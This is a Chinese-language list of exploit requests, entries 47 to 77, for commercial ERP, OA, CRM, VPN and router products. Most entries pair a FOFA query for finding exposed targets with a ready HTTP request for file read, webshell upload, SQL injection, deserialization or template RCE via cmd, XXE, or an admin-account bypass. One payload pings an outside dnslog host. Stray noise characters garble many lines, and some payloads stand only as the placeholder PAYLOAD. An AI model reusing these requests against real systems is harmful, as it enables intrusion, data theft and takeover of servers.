; M& [6 F' P8 T$ ^- ^) D
47. 用友GRP A++Cloud 政府财务云 任意文件读取
/ V5 g9 V9 G4 n, }5 xFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
+ Z2 k9 n: @: _Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 h. s4 O" f' {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
, P% R( o2 W8 mConnection: close



48. 用友U8 CRM swfupload 任意文件上传
. {( W5 m9 l# ~/ u- f* C) V* LFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
! a7 {4 o$ v$ B: o( wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
, w* x! U- w& t: N  x+ qContent-Disposition: form-data; name="file"; filename="s.php"
* N. a  A' `- V2 |1231
Content-Type: application/octet-stream
$ X) i6 f; w; ?; \4 A7 ~) D------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
0 M; @4 @3 E8 e* S* eupload
------269520967239406871642430066855--
: j  }0 D* C, }6 f. Y

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
; t( h1 b8 ]! ], g" @FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
. N' M% R5 Q3 `. H+ r0 eHost: x.x.x.x
! B( n, p' @. tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: r7 X- B# L# ^1 jContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, P: D- g1 _, J  I+ H9 DConnection: close
7 ?: c* I* H1 Z/ I* kContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
# H& N5 K0 q. @- L0 {Content-Disposition: form-data; name="file"; filename="%s.php "
: |1 |/ `5 i$ b6 @! q, zContent-Type: application/octet-stream

wersqqmlumloqa
2 _8 G9 Q# U7 b-----------------------------vvv3wdayqv3yppdxvn3w
/ X  B* @( U' DContent-Disposition: form-data; name="upload"

! F8 {  \9 r, H# M" ]. `5 T+ O% i9 Yupload
" f. i$ q( b5 b; T( L+ \-----------------------------vvv3wdayqv3yppdxvn3w--
! S# b* G# N" c% k# \
. I: G# Y; N% C! u: [
3 i; @7 ~8 S; G2 B+ Xhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

# a* R% y" D" u50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
) I( F$ h; t% ^4 ~6 x6 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 i! R! v! ~. m$ v% s, h" oConnection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
: C6 y1 ~8 C, u- `) C
4 _# f: ]( s; t, s% `searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

6 Q/ t/ N% ?! y) B$ {# |
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
2 S. A1 H6 G* N6 b) R" ?( l% Q) @FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
) Q! P! C+ u6 E& m, l( ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. k0 s0 D6 N  o9 X
+ B( W1 s5 b* ~
: ~4 S5 `7 `5 P7 F1 I4 }52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
7 P8 s, [4 p) @9 G5 }* lHost: 192.168.86.128:8097
. h8 h2 C7 A7 gUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* U+ R8 S& m' ?% {Connection: close
Content-Length: 87
& p& o1 ~% S4 A+ Z' @Accept: */*
Accept-Language: en
: |" U0 S/ C7 C8 PContent-Type: application/x-www-form-urlencoded
, W+ r+ e0 V) H- s0 WAccept-Encoding: gzip

! Y2 w; ]' c, _tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


0 k# n" p7 I* \, i' ^; y/ b( v53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
; Z: X7 x' {" ~: ~8 M! v0 L* a. c. Q/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


3 d8 X* \' v( N+ z+ x54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
' }% j: v' }4 x4 n3 k5 C( S"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
% [# v" ?- ?* l) ]POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
; n& A4 r% z6 p- D6 }4 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

- \! z! G+ ?/ s" H3 Z/ Y{
"storeID":{
1 W+ d7 j/ Z( m& {- x0 n' x- B "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
4 C% x4 ]. [5 u& @& V1 |  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
! \- X; q3 Y0 V2 ^% y    }
/ K1 }) s/ k. Z, B# M" f1 z  }
( j& x3 _( z4 {9 g  }
}


第二步，访问如下url
4 i, T7 u/ S3 v4 C" p9 N/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

+ e! O2 Q- m; j: b
55. 畅捷通T+ getdecallusers信息泄露
. q3 S! T- N0 \) |FOFA：app="畅捷通-TPlus"
% |6 @7 n1 W, z& X& [' Y* D; @第一步，通过
: C9 k+ B8 v' \/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

. w6 |6 A2 g/ m1 b" ~6 Q56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
* B* O7 o8 _( p; q+ m/ JFOFA: app="畅捷通-TPlus"
; s" Q2 W' T) J. e# p$ EPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
7 `2 R% ^  f3 r" j5 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
1 [2 Q* i* t6 ~: U" I- B3 j7 f
# U0 q- b. z+ c2 a% k, t{
( B0 l& N$ }) f) d1 }3 H  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
4 x; j2 b, x7 _8 P( T1 }& w   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' D: _5 X7 l  U! t        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
# K- E4 H5 w) j# ]       }
    }
% H  w7 j8 k% ~. x; |3 u  }
}
& x( b* D( g, H3 S. q' D6 d* F
1 N0 u5 d& |* D. q& |
0 }. A  b$ G% C3 w1 l2 A57. 畅捷通T+ keyEdit.aspx SQL注入
, Q$ g5 W; `% z( \9 uFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 Z3 Z- W8 k* |/ Y' \! u5 \0 sAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
- v! R  T! c1 h/ U5 l2 `% c: T: mConnection: close
( |# Y# q8 \( \/ ^3 [' C+ k" |* f
* G! Z2 ^* |/ |' D4 c+ s3 l2 o
0 ]1 E" H  ~4 F( C, v58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
4 b) f; m, w6 @5 w0 ^' nGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
+ ^! _# ]: |) f$ CUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. r9 z  p! ^$ b0 }# @( s+ h& VAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
. n" X5 l- Z. e2 @6 F6 AConnection: close


. t+ I' [$ `8 ^; l59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
; a1 Q- L$ C+ h& \& iPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
% V3 S1 V% h6 F3 @% M6 P# iUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
# Q7 ?% G4 l5 fContent-Length: 1669
Accept: */*
% f( @1 t: k/ M- b& \Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
& p1 x& c) L8 _0 o
+ `# a) o0 w5 s& s, n# }( APAYLOAD
! e7 F0 `3 p5 J
$ q2 Q7 U9 r0 _5 W) Q+ m  Z9 b7 G
: K  A9 t  J, k4 ~60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 r, b0 I2 q) u/ e; s& }) `. i/ SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* P: ^# F# X# V& ?% @2 C. k5 Z; RAccept-Language: zh-CN,zh;q=0.9
Connection: close
; z- [9 g3 f( c8 O& J
( |/ r) `; ]$ n1 N& L
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
' W8 f8 O2 U1 i* A7 ~* |FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
7 f; F  S) \. T/ k) X8 t/ KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* G/ r' s: H0 f0 t3 O: @1 l+ w- k$ S7 R3 {9 dConnection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
, x6 R: B' B4 g* b( w8 _Content-Type: application/x-www-form-urlencoded
" u: Y0 i: Y% t. }" W# z9 p* P+ K
8uxssX66eqrqtKObcVa0kid98xa
: U9 t9 p. d- r4 m
" n; G! q  y8 N3 K7 Z  t
# k0 h  s* J# P4 C; M62. IP-guard WebServer 远程命令执行
3 i" U- V, P" z7 WFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
+ [* V: o% d! i0 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
( m  p- [+ S7 l9 |6 gAccept-Language: en
Accept-Encoding: gzip

0 {3 p" l8 b' T/ K7 I3 [2 Q
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
* F( q9 k- U; K) h5 r- V
4 ^& N) y* o. }
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
& i6 J6 T8 G, B3 \$ z5 `FOFA：icon_hash="2030860561"
7 r' H" M9 ]% j6 FPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
" X& w) M' c" g0 z4 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' P3 h$ |* I7 E/ A. D1 D" r0 w' Q* ^6 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

6 ~- t" }" ~& R' M# S0 t" J  e+ K64. 捷诚管理信息系统CWSFinanceCommon SQL注入
- _# n: |) A6 UFOFA：body="/Scripts/EnjoyMsg.js"
( q' [& T4 a' n- e4 f6 vPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
/ n$ H" W2 Q2 a& A9 g) ?2 ~3 QHost: 192.168.86.128:9001
: f. V0 ~5 e# e5 P+ NUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
( z4 F4 y. _1 U) C9 {6 oAccept: */*
% j" P3 T' v( i5 h2 T- xAccept-Language: en
Content-Type: text/xml; charset=utf-8
- r6 E0 R) g( t0 ^) I& h1 y% nAccept-Encoding: gzip
  o% ^( Z  e- l; p
  f% a5 {) _+ i) o6 n<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
$ i2 t: B1 d4 p<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
" \3 Y; \6 Y8 ]6 _6 h  </soap:Body>
3 m. J7 S: g. Q& N* E+ q% B</soap:Envelope>


7 a8 T7 o6 g% R3 o0 G( A65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
) h1 i0 j' C8 N) ^( GFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
# |4 H0 n6 x6 m# Z# Q- N响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
/ B* n# ^2 Z7 G7 l8 |- g+ yHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
' y: F2 Z1 D* H& x2 g* @( I" y  CConnection: close
Accept-Language: en
- R+ S$ @$ ]- V! @3 \Content-Length: 174

1 X  ?5 [* j# n! z" coperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
# a* t2 _* A9 ]

& d3 j0 U& }2 e. ~66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
6 ]" k  X! t# `* l8 |$ P  M
( b* _* Q% K  U6 @0 w2 \( @GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
* H0 a- w; O. r, M, THost: x.x.x.x
( `' f: x4 M# KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
$ e. B! }* w' ?5 t" S) ZConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

) a' L2 T0 F. Y# t) S/ |2 Y/ ~
$ Y+ N& {. A$ t) Y' R第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
0 o- s6 S0 Y" {4 Y% YFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
( ?9 H3 s' E8 y2 [& ^+ T' V! ]2 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
- J4 H7 p9 M% \5 E1 p& XContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

9 j9 ?  K/ g: C! ?' q/ ]  K--ufuadpxathqvxfqnuyuqaozvseiueerp
4 _( O, ^& D# V+ V3 e$ O! aContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
5 h- q6 b' |5 w4 x+ j: p$ P& k1 _
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

$ G% q( E; _9 q- @* F/ _7 |
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
+ f7 H! A7 l: Q% o+ _7 u) p
68. 万户ezOFFICE wf_printnum.jsp SQL注入
, l* S+ ~) [2 G$ c% v5 _( U( F& hFOFA：app="万户ezOFFICE协同管理平台"
% K8 I- `: I8 Z5 ]4 \8 KGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
8 h6 H" z) g+ R" @# o# LHost: {{host}}
1 Q$ F9 D( y0 I& G$ U: WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 O1 `! h7 L% o: x& w* L3 [+ n
- Q1 B) {2 u, f3 p5 x6 j
69. 万户 ezOFFICE contract_gd.jsp SQL注入
( I1 z3 D/ X1 \9 |4 `8 J% FFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
  H: I* D* d, W3 kHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( {9 N$ i' R* c" H6 ?8 eAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

1 K' C1 h( L* Y: ]( G6 L
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
6 a5 v; @7 T' F! j( F: I# DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% U' V$ F" y; _6 @9 ZSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

$ I2 x; \) k  l# \__VIEWSTATE=PAYLOAD


: N  a+ O1 V- |; V71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
5 D+ _" `3 `+ u( K* Q% JGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
& U$ U0 H# h: m* w3 t7 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 R+ ]' ]8 R) \" {Upgrade-Insecure-Requests: 1

. I4 W' Y2 I% h* c9 w
- n- I1 R/ Y$ X, u* \72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
$ P1 v: v2 y9 A: ]8 YHost: 192.168.40.131:8099
8 M- p4 ], K9 T( m+ `User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

9 i8 c) w, N& [1 W. l' G" H) f
; I: G5 }$ N5 x$ \8 S: A1 ~) \73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
& ]# p: @. U8 @. u+ KPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
1 q) x! k* X1 L5 E/ l3 z/ [Content-Length: 1981
Accept-Encoding: gzip, deflate
# h0 r9 A- N& }Connection: close
Content-Type: application/xml
" E' E8 ^% L# K' G' mSL-CE-SUID: 3

PAYLOAD
7 H( t7 K  n7 X3 ?, E
: f6 H+ m3 ]9 d! |4 S
5 b" B7 f. C. i# @8 Z( j( ~& `: r74. 致远M3-server 6_1sp1 反序列化RCE
: v: S% I2 T5 S, s3 ^FOFA：title="M3-Server"
6 {9 f- Z7 W% E' o+ r+ @/ JPAYLOAD

# y. C) ^: A7 f9 |75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
0 \1 Q( n) b4 f  m8 z& R! mFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
- k9 w/ Q, M6 c6 m7 UHost: x.x.x.x
( |8 ^# _1 _8 @& ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* w. [1 Q) j5 W+ ?9 J& NConnection: close
Accept: */*
Accept-Language: en
% o3 w; x0 \" q+ P/ u2 O/ a  |* SAccept-Encoding: gzip
2 `# p) \1 F  G! S
% h, {" f& F5 }- V6 h7 V
GET /cgi-bin/test28256.txt HTTP/1.1
3 C6 l' x! r  o" eHost: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
8 v* s9 g- a- L% Q' _  aFOFA：title="掌上校园服务管理平台"
6 L9 B# P1 j( p9 B4 c( KPOST /service_transport/service.action HTTP/1.1
7 R# H+ s. ~& m' k1 q: yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
  p! F$ O* Z5 WConnection: close
# L# g0 g1 m# x6 b, I) qContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 X9 c" `2 I: q) F: }; x0 hAccept-Encoding: gzip, deflate
2 k( m. \; r% u: C" G, L6 s# I; d. lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ y6 a- y4 ]; HCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
* H/ p; k% R" J) h" e4 \8 }7 PUpgrade-Insecure-Requests: 1

{
7 X8 L* M# Z: y1 ?6 o  m) D"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
$ C/ t- D8 v% u- \, D, ^+ I1 F9 U}


8 v1 d- h+ I) G6 E! p& S: V7 PGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
) J  S/ B2 }" }* j) k: r3 t% ^2 o' ~Host: x.x.x.x

$ ?; [% b; g9 V6 \( @& T
* H0 C+ _7 E! m& u) U
7 u/ f. ^: S, z. i! v- B77. F22服装管理软件系统UploadHandler.ashx任意文件上传
/ R, _4 {# j' D. Q2 D: d  l) BFOFA：body="F22WEB登陆"
: g% r9 r$ t5 w6 yPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
- O! ^( X3 Z% [: d8 \$ R1 f. bHost: x.x.x.x
